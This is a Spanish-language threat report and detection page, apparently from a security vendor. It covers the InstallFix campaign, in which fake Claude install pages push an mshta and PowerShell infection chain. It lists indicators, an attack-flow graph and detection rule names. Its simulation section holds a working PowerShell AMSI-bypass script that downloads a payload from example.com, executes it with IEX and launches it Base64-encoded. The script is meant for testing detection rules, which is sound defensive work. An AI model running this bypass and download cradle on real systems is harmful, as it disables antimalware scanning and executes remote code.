InstallFix y Claude Code: Cómo las Páginas de Instalación Falsas Conducen a un Compromiso Real
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
La campaña InstallFix distribuye malware a través de anuncios maliciosos en Google que imitan páginas de instalación de Claude AI. Se persuade a las víctimas a ejecutar comandos de PowerShell que invocan mshta.exe para recuperar un archivo polyglot ZIP y HTA, que luego inicia una cadena de infección sin archivos de múltiples etapas. La carga útil desactiva la validación SSL y protecciones AMSI, descarga código adicional desde un dominio de comando y control específico para la víctima, y crea persistencia mediante tareas programadas. La operación ha tenido como objetivo organizaciones en múltiples industrias y regiones en todo el mundo.
Investigación
Los investigadores rastrearon el flujo de ejecución completo desde la página del instalador falso a través de mshta.exe, VBScript y varias capas de PowerShell codificado. La desofuscación mostró que el malware generó un identificador único para cada víctima y lo utilizó para construir una URL de comando y control específica del host. La telemetría de la red reveló comunicación saliente a múltiples dominios maliciosos y direcciones IP. Aunque la carga útil final no se recuperó completamente, el comportamiento observado sugirió actividades de recopilación y exfiltración de datos.
Mitigación
Los defensores deben bloquear el acceso a los dominios y direcciones IP maliciosos identificados y restringir el uso de mshta.exe y otras herramientas de secuencias de comandos heredadas siempre que sea posible. Los controles de seguridad de los endpoints deben ajustarse para detectar intentos de evasión de AMSI y manipulación de validación SSL. Las organizaciones también deben aplicar un estricto filtrado de URLs para el tráfico de anuncios de Google que conduce a páginas de instalación de software. La concienciación del usuario sigue siendo crítica, especialmente en torno al riesgo de ejecutar comandos copiados de resultados de búsqueda patrocinados o fuentes no verificadas.
Respuesta
Los equipos de seguridad deben alertar sobre cadenas de procesos en las que mshta.exe lanza cmd.exe, powershell.exe, o intérpretes de scripts con URLs remotas sospechosas. Esos eventos deben correlacionarse con la creación de tareas programadas y conexiones salientes a la infraestructura de comando y control conocida. Si se confirma la actividad, los defensores deben contener el host, terminar los procesos maliciosos y eliminar cualquier mecanismo de persistencia como tareas programadas. Luego se debe realizar una revisión forense para identificar cualquier componente de carga útil sin archivos restante.
"graph TB %% Definiciones de clase classDef action fill:#99ccff classDef tool fill:#cccccc classDef process fill:#ffcc99 classDef malware fill:#ff9999 %% Nodos – Acciones recon_google_ads["<b>Acción</b> – <b>T1593.002 Buscar Sitios Web/Dominios Abiertos: Motores de Búsqueda</b><br/><b>Descripción</b>: El adversario coloca resultados patrocinados maliciosos en Google para atraer a las víctimas que buscan Claude AI."] class recon_google_ads action initial_access_phishing["<b>Acción</b> – <b>T1566.002 Phishing: Enlace de Spearphishing</b><br/><b>Descripción</b>: La víctima hace clic en un anuncio malicioso y es redirigida a una página falsa de instalación de Claude que aloja un comando de PowerShell."] class initial_access_phishing action user_exec_copy_paste["<b>Acción</b> – <b>T1204.004 Ejecución de Usuario: Copiar y Pegar Malicioso</b><br/><b>Descripción</b>: La víctima copia el comando de PowerShell mostrado y lo ejecuta en una consola."] class user_exec_copy_paste action execution_mshta["<b>Acción</b> – <b>T1218.005 Ejecución de Proxy de Binario del Sistema: Mshta</b><br/><b>Descripción</b>: PowerShell invoca mshta.exe con una URL a un paquete polyglot HTA/MSIX."] class execution_mshta action execution_htavbscript["<b>Acción</b> – <b>T1027 Archivos o Información Ofuscados</b><br/><b>Descripción</b>: HTA VBScript se ejecuta a través de mshta, utiliza el objeto COM Shell.Application para lanzar cmd.exe."] class execution_htavbscript action execution_powershell_stager["<b>Acción</b> – <b>T1140 Desencriptar/Decodificar Archivos o Información</b><br/><b>Descripción</b>: El stager de PowerShell está codificado en base64, dividido en variables y decodificado con XOR con la clave "AMSI_RESULT_NOT_DETECTED"."] class execution_powershell_stager action defense_evasion_amsi["<b>Acción</b> – <b>T1211 Explotación para Evasión de Defensa</b><br/><b>Descripción</b>: El script desactiva la validación del certificado SSL y parchea AMSI para evadir la detección."] class defense_evasion_amsi action persistence_scheduled_task["<b>Acción</b> – <b>T1053 Tarea/Trabajo Programados</b><br/><b>Descripción</b>: El malware crea una tarea programada para relanzar la carga útil después del reinicio del sistema."] class persistence_scheduled_task action collection_automated["<b>Acción</b> – <b>T1119 Recolección Automatizada</b><br/><b>Descripción</b>: Recopila datos de aplicaciones eu-wallet y datos de navegadores desde el host comprometido."] class collection_automated action exfiltration_automated["<b>Acción</b> – <b>T1020 Exfiltración Automatizada</b> & <b>T1029 Transferencia Programada</b><br/><b>Descripción</b>: Los datos recopilados se envían a dominios controlados por el atacante como https://oakenfjrod.ru y a IPs 104.21.0.95, 185.177.239.255."] class exfiltration_automated action %% Nodos – Herramientas / Procesos tool_mshta["<b>Herramienta</b> – <b>Nombre</b>: mshta.exe<br/><b>Propósito</b>: Ejecuta archivos de Aplicación HTML."] class tool_mshta tool tool_cmd["<b>Herramienta</b> – <b>Nombre</b>: cmd.exe<br/><b>Propósito</b>: Intérprete de línea de comandos de Windows."] class tool_cmd tool tool_powershell["<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br/><b>Propósito</b>: Motor de secuencias de comandos utilizado para la entrega y decodificación de la carga útil."] class tool_powershell tool tool_amsi_patch["<b>Herramienta</b> – <b>Nombre</b>: Parche AMSI<br/><b>Propósito</b>: Altera la Interfaz de Escaneo Antimalware para suprimir la detección."] class tool_amsi_patch tool tool_schtasks["<b>Herramienta</b> – <b>Nombre</b>: schtasks.exe<br/><b>Propósito</b>: Crea y gestiona tareas programadas."] class tool_schtasks tool %% Conexiones – Flujo recon_google_ads –>|leads_to| initial_access_phishing initial_access_phishing –>|leads_to| user_exec_copy_paste user_exec_copy_paste –>|executes| tool_powershell tool_powershell –>|calls| execution_mshta execution_mshta –>|uses| tool_mshta execution_mshta –>|downloads| execution_htavbscript execution_htavbscript –>|spawns| tool_cmd tool_cmd –>|runs| execution_powershell_stager execution_powershell_stager –>|uses| tool_powershell execution_powershell_stager –>|applies| defense_evasion_amsi defense_evasion_amsi –>|uses| tool_amsi_patch defense_evasion_amsi –>|creates| persistence_scheduled_task persistence_scheduled_task –>|uses| tool_schtasks persistence_scheduled_task –>|enables| collection_automated collection_automated –>|triggers| exfiltration_automated "
Flujo de Ataque
Detecciones
Cadenas sospechosas de Powershell (via powershell)
Ver
Comportamiento de Evasión de Defensa LOLBAS MSHTA Sospechoso por Detección de Comandos Asociados (via process_creation)
Ver
Llamar métodos .NET sospechosos desde Powershell (via powershell)
Ver
Tarea Programada Sospechosa (via audit)
Ver
IOCs (HashSha256) para detectar: InstallFix y Claude Code: Cómo las Páginas de Instalación Falsas Conducen a Una Compromiso Real
Ver
IOCs (HashSha1) para detectar: InstallFix y Claude Code: Cómo las Páginas de Instalación Falsas Conducen a Una Compromiso Real
Ver
IOCs (SourceIP) para detectar: InstallFix y Claude Code: Cómo las Páginas de Instalación Falsas Conducen a Una Compromiso Real
Ver
IOCs (DestinationIP) para detectar: InstallFix y Claude Code: Cómo las Páginas de Instalación Falsas Conducen a Una Compromiso Real
Ver
Técnicas de Evasión de PowerShell Campaña InstallFix [Windows Powershell]
Ver
Campaña InstallFix – Mshta.exe Generando Cmd.exe y PowerShell.exe [Creación de Procesos de Windows]
Ver
Ejecución de Simulación
Prerrequisito: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativas DEBEN reflejar directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.
-
Narrativa y Comandos de Ataque:
El atacante obtiene un script malicioso de PowerShell a través de un enlace de spear-phishing (T1566.002) que descarga una carga útil desde un servidor comprometido. Para evitar la detección AMSI, el script inyecta la cadenaAMSI_RESULT_NOT_DETECTEDen la memoria del proceso, y luego utiliza elIEXoperador para ejecutar el código descargado. Todo el comando está codificado en Base64 y se lanza con la bandera-EncodedCommand, satisfaciendo los tres cadenas de selector en la regla Sigma.Paso a paso:
- Descargar la carga útil maliciosa (una simple línea de comando de PowerShell que escribe un archivo).
- Inyectar marcador de evasión AMSI configurando el campo estático privado
amsiInitFailed. - Ejecutar la carga útil vía
IEX. - Lanzar toda la cadena usando
powershell.exe -EncodedCommand ….
-
Script de Prueba de Regresión:
# Simulación de ataque PowerShell estilo InstallFix # ------------------------------------------------- # 1. Definir la línea de comando maliciosa $malicious = @" `$bypass = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') .GetField('amsiInitFailed','NonPublic,Static') `$bypass.SetValue(`$null,$true) IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1') "@ # 2. Codificar el script en UTF-16LE y luego en Base64 (requisito de PowerShell) $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious) $encoded = [Convert]::ToBase64String($bytes) # 3. Ejecutar vía powershell.exe con la bandera -EncodedCommand $command = "powershell.exe -NoProfile -EncodedCommand $encoded" Write-Host "Lanzando PowerShell malicioso..." Invoke-Expression $command -
Comandos de Limpieza:
# Eliminar cualquier archivo temporal y terminar procesos persistentes Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue Write-Host "Limpieza completa."